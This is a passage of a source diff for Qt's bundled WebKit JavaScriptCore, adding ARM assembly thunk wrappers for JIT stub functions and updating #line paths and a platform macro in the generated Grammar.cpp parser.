+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSPropertyNameIterator* JITStubThunked_op_get_pnames(STUB_ARGS_DECLARATION);
+__asm JSPropertyNameIterator* cti_op_get_pnames(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_get_pnames
+    str lr, [sp, #32]
+    bl JITStubThunked_op_get_pnames
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" int JITStubThunked_has_property(STUB_ARGS_DECLARATION);
+__asm int cti_has_property(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_has_property
+    str lr, [sp, #32]
+    bl JITStubThunked_has_property
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_push_scope(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_push_scope(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_push_scope
+    str lr, [sp, #32]
+    bl JITStubThunked_op_push_scope
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_pop_scope(STUB_ARGS_DECLARATION);
+__asm void cti_op_pop_scope(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_pop_scope
+    str lr, [sp, #32]
+    bl JITStubThunked_op_pop_scope
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_typeof(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_typeof(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_typeof
+    str lr, [sp, #32]
+    bl JITStubThunked_op_typeof
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_is_undefined(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_is_undefined(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_is_undefined
+    str lr, [sp, #32]
+    bl JITStubThunked_op_is_undefined
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_is_boolean(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_is_boolean(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_is_boolean
+    str lr, [sp, #32]
+    bl JITStubThunked_op_is_boolean
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_is_number(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_is_number(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_is_number
+    str lr, [sp, #32]
+    bl JITStubThunked_op_is_number
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_is_string(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_is_string(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_is_string
+    str lr, [sp, #32]
+    bl JITStubThunked_op_is_string
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_is_object(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_is_object(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_is_object
+    str lr, [sp, #32]
+    bl JITStubThunked_op_is_object
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_is_function(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_is_function(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_is_function
+    str lr, [sp, #32]
+    bl JITStubThunked_op_is_function
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_stricteq(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_stricteq(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_stricteq
+    str lr, [sp, #32]
+    bl JITStubThunked_op_stricteq
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_to_primitive(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_to_primitive(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_to_primitive
+    str lr, [sp, #32]
+    bl JITStubThunked_op_to_primitive
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_strcat(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_strcat(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_strcat
+    str lr, [sp, #32]
+    bl JITStubThunked_op_strcat
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_nstricteq(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_nstricteq(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_nstricteq
+    str lr, [sp, #32]
+    bl JITStubThunked_op_nstricteq
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_to_jsnumber(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_to_jsnumber(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_to_jsnumber
+    str lr, [sp, #32]
+    bl JITStubThunked_op_to_jsnumber
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_in(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_in(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_in
+    str lr, [sp, #32]
+    bl JITStubThunked_op_in
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_push_new_scope(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_push_new_scope(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_push_new_scope
+    str lr, [sp, #32]
+    bl JITStubThunked_op_push_new_scope
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_jmp_scopes(STUB_ARGS_DECLARATION);
+__asm void cti_op_jmp_scopes(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_jmp_scopes
+    str lr, [sp, #32]
+    bl JITStubThunked_op_jmp_scopes
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_by_index(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_by_index(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_by_index
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_by_index
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void* JITStubThunked_op_switch_imm(STUB_ARGS_DECLARATION);
+__asm void* cti_op_switch_imm(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_switch_imm
+    str lr, [sp, #32]
+    bl JITStubThunked_op_switch_imm
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void* JITStubThunked_op_switch_char(STUB_ARGS_DECLARATION);
+__asm void* cti_op_switch_char(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_switch_char
+    str lr, [sp, #32]
+    bl JITStubThunked_op_switch_char
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void* JITStubThunked_op_switch_string(STUB_ARGS_DECLARATION);
+__asm void* cti_op_switch_string(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_switch_string
+    str lr, [sp, #32]
+    bl JITStubThunked_op_switch_string
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_op_del_by_val(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_op_del_by_val(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_del_by_val
+    str lr, [sp, #32]
+    bl JITStubThunked_op_del_by_val
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_getter(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_getter(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_getter
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_getter
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_put_setter(STUB_ARGS_DECLARATION);
+__asm void cti_op_put_setter(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_put_setter
+    str lr, [sp, #32]
+    bl JITStubThunked_op_put_setter
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" JSObject* JITStubThunked_op_new_error(STUB_ARGS_DECLARATION);
+__asm JSObject* cti_op_new_error(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_new_error
+    str lr, [sp, #32]
+    bl JITStubThunked_op_new_error
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" void JITStubThunked_op_debug(STUB_ARGS_DECLARATION);
+__asm void cti_op_debug(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_op_debug
+    str lr, [sp, #32]
+    bl JITStubThunked_op_debug
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_vm_throw(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_vm_throw(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_vm_throw
+    str lr, [sp, #32]
+    bl JITStubThunked_vm_throw
+    ldr lr, [sp, #32]
+    bx lr
+}
+
+extern "C" EncodedJSValue JITStubThunked_to_object(STUB_ARGS_DECLARATION);
+__asm EncodedJSValue cti_to_object(STUB_ARGS_DECLARATION)
+{
+    ARM
+    IMPORT JITStubThunked_to_object
+    str lr, [sp, #32]
+    bl JITStubThunked_to_object
+    ldr lr, [sp, #32]
+    bx lr
+}
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.cpp b/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.cpp
index 4f78903..50ff9cd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.cpp
@@ -76,7 +76,7 @@
 /* Copy the first part of user declarations.  */
 
 /* Line 189 of yacc.c  */
-#line 3 "../parser/Grammar.y"
+#line 3 "parser\\Grammar.y"
 
 
 /*
@@ -120,7 +120,7 @@
 // Default values for bison.
 #define YYDEBUG 0 // Set to 1 to debug a parse error.
 #define jscyydebug 0 // Set to 1 to debug a parse error.
-#if !PLATFORM(DARWIN)
+#if !OS(DARWIN)
 // Avoid triggering warnings in older bison by not setting this on the Darwin platform.
 // FIXME: Is this still needed?
 #define YYERROR_VERBOSE
@@ -221,7 +221,7 @@ static inline void appendToVarDeclarationList(JSGlobalData* globalData, ParserAr
 
 
 /* Line 189 of yacc.c  */
-#line 225 "JavaScriptCore/tmp/../generated/Grammar.tab.c"
+#line 225 "C:/dev/webkit-2.0/JavaScriptCore/generated\\Grammar.tab.c"
 
 /* Enabling traces.  */
 #ifndef YYDEBUG
@@ -321,7 +321,7 @@ typedef union YYSTYPE
 {
 
 /* Line 214 of yacc.c  */
-#line 146 "../parser/Grammar.y"
+#line 146 "parser\\Grammar.y"
 
     int                 intValue;
     double              doubleValue;
@@ -356,7 +356,7 @@ typedef union YYSTYPE
 
 
 /* Line 214 of yacc.c  */
-#line 360 "JavaScriptCore/tmp/../generated/Grammar.tab.c"
+#line 360 "C:/dev/webkit-2.0/JavaScriptCore/generated\\Grammar.tab.c"
 } YYSTYPE;
 # define YYSTYPE_IS_TRIVIAL 1
 # define yystype YYSTYPE /* obsolescent; will be withdrawn */
@@ -380,7 +380,7 @@ typedef struct YYLTYPE
 /* Copy the second part of user declarations.  */
 
 /* Line 264 of yacc.c  */
-#line 178 "../parser/Grammar.y"
+#line 178 "parser\\Grammar.y"
 
 
 template <typename T> inline void setStatementLocation(StatementNode* statement, const T& start, const T& end)
@@ -396,7 +396,7 @@ static inline void setExceptionLocation(ThrowableExpressionData* node, unsigned
 
 
 /* Line 264 of yacc.c  */
-#line 400 "JavaScriptCore/tmp/../generated/Grammar.tab.c"
+#line 400 "C:/dev/webkit-2.0/JavaScriptCore/generated\\Grammar.tab.c"
 
 #ifdef short
 # undef short
@@ -2974,42 +2974,42 @@ yyreduce:
         case 2:
 
 /* Line 1455 of yacc.c  */
-#line 293 "../parser/Grammar.y"
+#line 293 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NullNode(GLOBAL_DATA), 0, 1); ;}
     break;
 
   case 3:
 
 /* Line 1455 of yacc.c  */
-#line 294 "../parser/Grammar.y"
+#line 294 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BooleanNode(GLOBAL_DATA, true), 0, 1); ;}
     break;
 
   case 4:
 
 /* Line 1455 of yacc.c  */
-#line 295 "../parser/Grammar.y"
+#line 295 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BooleanNode(GLOBAL_DATA, false), 0, 1); ;}
     break;
 
   case 5:
 
 /* Line 1455 of yacc.c  */
-#line 296 "../parser/Grammar.y"
+#line 296 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeNumberNode(GLOBAL_DATA, (yyvsp[(1) - (1)].doubleValue)), 0, 1); ;}
     break;
 
   case 6:
 
 /* Line 1455 of yacc.c  */
-#line 297 "../parser/Grammar.y"
+#line 297 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StringNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident)), 0, 1); ;}
     break;
 
   case 7:
 
 /* Line 1455 of yacc.c  */
-#line 298 "../parser/Grammar.y"
+#line 298 "parser\\Grammar.y"
     {
                                             Lexer& l = *GLOBAL_DATA->lexer;
                                             const Identifier* pattern;
@@ -3026,7 +3026,7 @@ yyreduce:
   case 8:
 
 /* Line 1455 of yacc.c  */
-#line 309 "../parser/Grammar.y"
+#line 309 "parser\\Grammar.y"
     {
                                             Lexer& l = *GLOBAL_DATA->lexer;
                                             const Identifier* pattern;
@@ -3043,35 +3043,35 @@ yyreduce:
   case 9:
 
 /* Line 1455 of yacc.c  */
-#line 323 "../parser/Grammar.y"
+#line 323 "parser\\Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 10:
 
 /* Line 1455 of yacc.c  */
-#line 324 "../parser/Grammar.y"
+#line 324 "parser\\Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 11:
 
 /* Line 1455 of yacc.c  */
-#line 325 "../parser/Grammar.y"
+#line 325 "parser\\Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, (yyvsp[(1) - (3)].doubleValue), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 12:
 
 /* Line 1455 of yacc.c  */
-#line 326 "../parser/Grammar.y"
+#line 326 "parser\\Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(makeGetterOrSetterPropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (7)].ident), *(yyvsp[(2) - (7)].ident), 0, (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); if (!(yyval.propertyNode).m_node) YYABORT; ;}
     break;
 
   case 13:
 
 /* Line 1455 of yacc.c  */
-#line 328 "../parser/Grammar.y"
+#line 328 "parser\\Grammar.y"
     {
                                                                  (yyval.propertyNode) = createNodeInfo<PropertyNode*>(makeGetterOrSetterPropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (8)].ident), *(yyvsp[(2) - (8)].ident), (yyvsp[(4) - (8)].parameterList).m_node.head, (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line)), (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0); 
                                                                  if ((yyvsp[(4) - (8)].parameterList).m_features & ArgumentsFeature)
@@ -3085,7 +3085,7 @@ yyreduce:
   case 14:
 
 /* Line 1455 of yacc.c  */
-#line 339 "../parser/Grammar.y"
+#line 339 "parser\\Grammar.y"
     { (yyval.propertyList).m_node.head = new (GLOBAL_DATA) PropertyListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].propertyNode).m_node); 
                                           (yyval.propertyList).m_node.tail = (yyval.propertyList).m_node.head;
                                           (yyval.propertyList).m_features = (yyvsp[(1) - (1)].propertyNode).m_features;
@@ -3095,7 +3095,7 @@ yyreduce:
   case 15:
 
 /* Line 1455 of yacc.c  */
-#line 343 "../parser/Grammar.y"
+#line 343 "parser\\Grammar.y"
     { (yyval.propertyList).m_node.head = (yyvsp[(1) - (3)].propertyList).m_node.head;
                                           (yyval.propertyList).m_node.tail = new (GLOBAL_DATA) PropertyListNode(GLOBAL_DATA, (yyvsp[(3) - (3)].propertyNode).m_node, (yyvsp[(1) - (3)].propertyList).m_node.tail);
                                           (yyval.propertyList).m_features = (yyvsp[(1) - (3)].propertyList).m_features | (yyvsp[(3) - (3)].propertyNode).m_features;
@@ -3105,70 +3105,70 @@ yyreduce:
   case 17:
 
 /* Line 1455 of yacc.c  */
-#line 351 "../parser/Grammar.y"
+#line 351 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA), 0, 0); ;}
     break;
 
   case 18:
 
 /* Line 1455 of yacc.c  */
-#line 352 "../parser/Grammar.y"
+#line 352 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA, (yyvsp[(2) - (3)].propertyList).m_node.head), (yyvsp[(2) - (3)].propertyList).m_features, (yyvsp[(2) - (3)].propertyList).m_numConstants); ;}
     break;
 
   case 19:
 
 /* Line 1455 of yacc.c  */
-#line 354 "../parser/Grammar.y"
+#line 354 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA, (yyvsp[(2) - (4)].propertyList).m_node.head), (yyvsp[(2) - (4)].propertyList).m_features, (yyvsp[(2) - (4)].propertyList).m_numConstants); ;}
     break;
 
   case 20:
 
 /* Line 1455 of yacc.c  */
-#line 358 "../parser/Grammar.y"
+#line 358 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ThisNode(GLOBAL_DATA), ThisFeature, 0); ;}
     break;
 
   case 23:
 
 /* Line 1455 of yacc.c  */
-#line 361 "../parser/Grammar.y"
+#line 361 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident), (yylsp[(1) - (1)]).first_column), (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0, 0); ;}
     break;
 
   case 24:
 
 /* Line 1455 of yacc.c  */
-#line 362 "../parser/Grammar.y"
+#line 362 "parser\\Grammar.y"
     { (yyval.expressionNode) = (yyvsp[(2) - (3)].expressionNode); ;}
     break;
 
   case 25:
 
 /* Line 1455 of yacc.c  */
-#line 366 "../parser/Grammar.y"
+#line 366 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(2) - (3)].intValue)), 0, (yyvsp[(2) - (3)].intValue) ? 1 : 0); ;}
     break;
 
   case 26:
 
 /* Line 1455 of yacc.c  */
-#line 367 "../parser/Grammar.y"
+#line 367 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(2) - (3)].elementList).m_node.head), (yyvsp[(2) - (3)].elementList).m_features, (yyvsp[(2) - (3)].elementList).m_numConstants); ;}
     break;
 
   case 27:
 
 /* Line 1455 of yacc.c  */
-#line 368 "../parser/Grammar.y"
+#line 368 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(4) - (5)].intValue), (yyvsp[(2) - (5)].elementList).m_node.head), (yyvsp[(2) - (5)].elementList).m_features, (yyvsp[(4) - (5)].intValue) ? (yyvsp[(2) - (5)].elementList).m_numConstants + 1 : (yyvsp[(2) - (5)].elementList).m_numConstants); ;}
     break;
 
   case 28:
 
 /* Line 1455 of yacc.c  */
-#line 372 "../parser/Grammar.y"
+#line 372 "parser\\Grammar.y"
     { (yyval.elementList).m_node.head = new (GLOBAL_DATA) ElementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].intValue), (yyvsp[(2) - (2)].expressionNode).m_node);
                                           (yyval.elementList).m_node.tail = (yyval.elementList).m_node.head;
                                           (yyval.elementList).m_features = (yyvsp[(2) - (2)].expressionNode).m_features;
@@ -3178,7 +3178,7 @@ yyreduce:
   case 29:
 
 /* Line 1455 of yacc.c  */
-#line 377 "../parser/Grammar.y"
+#line 377 "parser\\Grammar.y"
     { (yyval.elementList).m_node.head = (yyvsp[(1) - (4)].elementList).m_node.head;
                                           (yyval.elementList).m_node.tail = new (GLOBAL_DATA) ElementNode(GLOBAL_DATA, (yyvsp[(1) - (4)].elementList).m_node.tail, (yyvsp[(3) - (4)].intValue), (yyvsp[(4) - (4)].expressionNode).m_node);
                                           (yyval.elementList).m_features = (yyvsp[(1) - (4)].elementList).m_features | (yyvsp[(4) - (4)].expressionNode).m_features;
@@ -3188,35 +3188,35 @@ yyreduce:
   case 30:
 
 /* Line 1455 of yacc.c  */
-#line 384 "../parser/Grammar.y"
+#line 384 "parser\\Grammar.y"
     { (yyval.intValue) = 0; ;}
     break;
 
   case 32:
 
 /* Line 1455 of yacc.c  */
-#line 389 "../parser/Grammar.y"
+#line 389 "parser\\Grammar.y"
     { (yyval.intValue) = 1; ;}
     break;
 
   case 33:
 
 /* Line 1455 of yacc.c  */
-#line 390 "../parser/Grammar.y"
+#line 390 "parser\\Grammar.y"
     { (yyval.intValue) = (yyvsp[(1) - (2)].intValue) + 1; ;}
     break;
 
   case 35:
 
 /* Line 1455 of yacc.c  */
-#line 395 "../parser/Grammar.y"
+#line 395 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>((yyvsp[(1) - (1)].funcExprNode).m_node, (yyvsp[(1) - (1)].funcExprNode).m_features, (yyvsp[(1) - (1)].funcExprNode).m_numConstants); ;}
     break;
 
   case 36:
 
 /* Line 1455 of yacc.c  */
-#line 396 "../parser/Grammar.y"
+#line 396 "parser\\Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
@@ -3226,7 +3226,7 @@ yyreduce:
   case 37:
 
 /* Line 1455 of yacc.c  */
-#line 400 "../parser/Grammar.y"
+#line 400 "parser\\Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants);
@@ -3236,7 +3236,7 @@ yyreduce:
   case 38:
 
 /* Line 1455 of yacc.c  */
-#line 404 "../parser/Grammar.y"
+#line 404 "parser\\Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].argumentsNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].argumentsNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].argumentsNode).m_numConstants);
@@ -3246,7 +3246,7 @@ yyreduce:
   case 40:
 
 /* Line 1455 of yacc.c  */
-#line 412 "../parser/Grammar.y"
+#line 412 "parser\\Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
@@ -3256,7 +3256,7 @@ yyreduce:
   case 41:
 
 /* Line 1455 of yacc.c  */
-#line 416 "../parser/Grammar.y"
+#line 416 "parser\\Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants);
@@ -3266,7 +3266,7 @@ yyreduce:
   case 42:
 
 /* Line 1455 of yacc.c  */
-#line 420 "../parser/Grammar.y"
+#line 420 "parser\\Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].argumentsNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].argumentsNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].argumentsNode).m_numConstants);
@@ -3276,7 +3276,7 @@ yyreduce:
   case 44:
 
 /* Line 1455 of yacc.c  */
-#line 428 "../parser/Grammar.y"
+#line 428 "parser\\Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); 
@@ -3286,7 +3286,7 @@ yyreduce:
   case 46:
 
